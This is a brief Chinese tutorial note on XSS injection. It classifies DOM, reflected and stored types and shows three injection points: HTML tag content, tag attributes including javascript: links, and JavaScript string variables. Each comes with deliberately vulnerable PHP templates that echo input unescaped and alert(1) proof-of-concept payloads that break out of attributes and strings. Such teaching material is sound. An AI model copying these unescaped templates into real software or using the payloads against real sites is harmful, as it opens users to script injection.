XSS注入分类:DOM型、反弹型、储存型
DOM型:恶意url参数反映在前端页面上。场景:前端
反射型:恶意url向服务器发出请求。场景:根据用户输入反馈结果的模块
存储型:恶意代码注入服务器,前端呈现。场景:留言板功能等
一、注入点
1.html标签之间
假如后台和前台都没有对用户输入的信息进行处理,攻击者就可以输入一些恶意代码执行,然后使页面不能正常访问或者直接入侵服务器拿到shell。
<h1>hello <?=$name?></h1>
payload:<script>alert</script>
2.标签属性中
<input type="text" name="test123" value="<?=$name?>">
payload:<input type="test" name=“test23” value="" autofocus onfocus="alert(1)">
伪协议
<a href="javascript:alert(1)">clik</a>
<iframe src="javascript:alert(1)"></iframe>
3.Javascript变量中
<?php
$name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<script type="text/javascript">
var name = "<?=$name?>";
document.write("hello "+name);
</script>
</body>
</html>
payload:?name=lusong"%2balert(1);// %2b ------ +
?name=lusong";alert(1);// 换行执行